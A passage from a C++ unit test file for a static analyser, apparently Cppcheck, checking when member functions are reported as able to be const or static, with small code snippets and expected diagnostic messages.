\" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int 